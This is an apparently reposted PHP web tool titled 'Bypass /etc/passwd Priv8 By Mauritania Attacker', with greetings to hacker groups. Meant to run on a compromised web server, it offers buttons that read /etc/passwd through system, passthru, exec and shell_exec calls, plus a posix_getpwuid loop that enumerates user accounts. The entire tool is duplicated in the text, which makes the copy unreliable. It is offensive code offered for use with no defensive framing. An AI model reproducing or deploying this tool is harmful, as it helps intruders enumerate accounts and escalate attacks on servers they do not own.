[PHP] Bypass /etc/passwd 2014
<?php ?><link href='http://fonts.googleapis.com/css?family=Orbitron:700' rel='stylesheet' type='text/css'>
<style type="text/css">
body {
background:
url("http://i.imgur.com/hg21xZ9.png") repeat ,
url("http://images3.alphacoders.com/142/142619.jpg") no-repeat center top,top left,top right;
background-color: #000000;
</style>
<font face='Orbitron'>
<center><font color="009900" size="8" face="Tahoma">Bypass /etc/passwd Priv8 By Mauritania Attacker<center>
<div class="tul"><font color="009900" face="Tahoma, Geneva, sans-serif" style="font-size: 8pt">
<p>
<center><font face='Orbitron' color='red' size='3'>Bypass with System Function
<form method='post'>
<input type="submit" value='Bypass' name="syst">
</form>
</center>
</p>
<p>
<center>Bypass with Passthru Function
<form method='post'>
<font face='Orbitron' color='red' size='3'>
<input type="submit" value='Bypass' name="passth">
</form>
</center>
</p>
<p>
<center><font face='Orbitron' color='red' size='3'>Bypass with exec Function
<form method='post'>
<input type="submit" value='Bypass' name="ex">
</form>
</center>
</p>
<p>
<center><font face='Orbitron' color='red' size='3'>Bypass with shell_exec Function
<form method='post'>
<input type="submit" value='Bypass' name="shex">
</form>
</center>
</p>
<p>
<center><font face='Orbitron' color='red' size='3'>Bypass with posix_getpwuid Function
<form method='post'>
<input type="submit" value='Bypass' name="mauritania">
</form>
</center>
</p>
<center>
<?php
//System Function //
if ($_POST['syst']) {
echo "<textarea cols='70' rows='30'>";
echo system("cat /etc/passwd");
echo "</textarea><br>";
echo "
<br>
<b>
</b>
<br>
";
}
?>
</center>
<center>
<?php
//Passthru Function //
if ($_POST['passth']) {
echo "<textarea cols='70' rows='30'>";
echo passthru("cat /etc/passwd");
echo "</textarea><br>";
echo "
<br>
<b>
</b>
<br>
";
}
?>
</center>
<center>
<?php
//exec Function //
if ($_POST['ex']) {
echo "<textarea cols='70' rows='30'>";
echo exec("cat /etc/passwd");
echo "</textarea><br>";
echo "
<br>
<b>
</b>
<br>
";
}
?>
</center>
<center>
<?php
//exec Function //
if ($_POST['shex']) {
echo "<textarea cols='70' rows='30'>";
echo shell_exec("cat /etc/passwd");
echo "</textarea><br>";
echo "
<br>
<b>
</b>
<br>
";
}
?>
</center>
<center>
<?php
//posix_getpwuid Function //
if ($_POST['mauritania']) {
echo "<textarea cols='70' rows='30'>";
for ($uid = 0;$uid < 60000;$uid++) {
$ara = posix_getpwuid($uid);
if (!empty($ara)) {
while (list($key, $val) = each($ara)) {
print "$val:";
}
print "
";
}
}
echo "</textarea><br>";
echo "
<br>
<b>
</b>
<br>
";
}
echo '<font color="#ee5500" size="1pt">Greetz to : </font><br><font color="#ff8f00" size="1pt">AnonGhost - ZHC - Mauritania HaCker Team - 3xp1r3 Cyber Army - Robot Pirates - X-Blackerz INC. - Pak Cyber Pyrates - iMHATiMi.ORG</font>';
?>
</center>
<style type="text/css">
body {
background:
url("http://i.imgur.com/hg21xZ9.png") repeat ,
url("http://images3.alphacoders.com/142/142619.jpg") no-repeat center top,top left,top right;
background-color: #000000;
</style>
<font face='Orbitron'>
<center><font color="009900" size="8" face="Tahoma">Bypass /etc/passwd Priv8 By Mauritania Attacker<center>
<div class="tul"><font color="009900" face="Tahoma, Geneva, sans-serif" style="font-size: 8pt">
<p>
<center><font face='Orbitron' color='red' size='3'>Bypass with System Function
<form method='post'>
<input type="submit" value='Bypass' name="syst">
</form>
</center>
</p>
<p>
<center>Bypass with Passthru Function
<form method='post'>
<font face='Orbitron' color='red' size='3'>
<input type="submit" value='Bypass' name="passth">
</form>
</center>
</p>
<p>
<center><font face='Orbitron' color='red' size='3'>Bypass with exec Function
<form method='post'>
<input type="submit" value='Bypass' name="ex">
</form>
</center>
</p>
<p>
<center><font face='Orbitron' color='red' size='3'>Bypass with shell_exec Function
<form method='post'>
<input type="submit" value='Bypass' name="shex">
</form>
</center>
</p>
<p>
<center><font face='Orbitron' color='red' size='3'>Bypass with posix_getpwuid Function
<form method='post'>
<input type="submit" value='Bypass' name="mauritania">
</form>
</center>
</p>
<center>
<?php
//System Function //
if ($_POST['syst']) {
echo "<textarea cols='70' rows='30'>";
echo system("cat /etc/passwd");
echo "</textarea><br>";
echo "
<br>
<b>
</b>
<br>
";
}
?>
</center>
<center>
<?php
//Passthru Function //
if ($_POST['passth']) {
echo "<textarea cols='70' rows='30'>";
echo passthru("cat /etc/passwd");
echo "</textarea><br>";
echo "
<br>
<b>
</b>
<br>
";
}
?>
</center>
<center>
<?php
//exec Function //
if ($_POST['ex']) {
echo "<textarea cols='70' rows='30'>";
echo exec("cat /etc/passwd");
echo "</textarea><br>";
echo "
<br>
<b>
</b>
<br>
";
}
?>
</center>
<center>
<?php
//exec Function //
if ($_POST['shex']) {
echo "<textarea cols='70' rows='30'>";
echo shell_exec("cat /etc/passwd");
echo "</textarea><br>";
echo "
<br>
<b>
</b>
<br>
";
}
?>
</center>
<center>
<?php
//posix_getpwuid Function //
if ($_POST['mauritania']) {
echo "<textarea cols='70' rows='30'>";
for ($uid = 0;$uid < 60000;$uid++) {
$ara = posix_getpwuid($uid);
if (!empty($ara)) {
while (list($key, $val) = each($ara)) {
print "$val:";
}
print "
";
}
}
echo "</textarea><br>";
echo "
<br>
<b>
</b>
<br>
";
}
echo '<font color="#ee5500" size="1pt">Greetz to : </font><br><font color="#ff8f00" size="1pt">AnonGhost - ZHC - Mauritania HaCker Team - 3xp1r3 Cyber Army - Robot Pirates - X-Blackerz INC. - Pak Cyber Pyrates - iMHATiMi.ORG</font>';
?>
</center>
[PHP] Bypass /etc/passwd 2014
Reviewed by Nguyen Nam Hong
on
10:43 AM
Rating: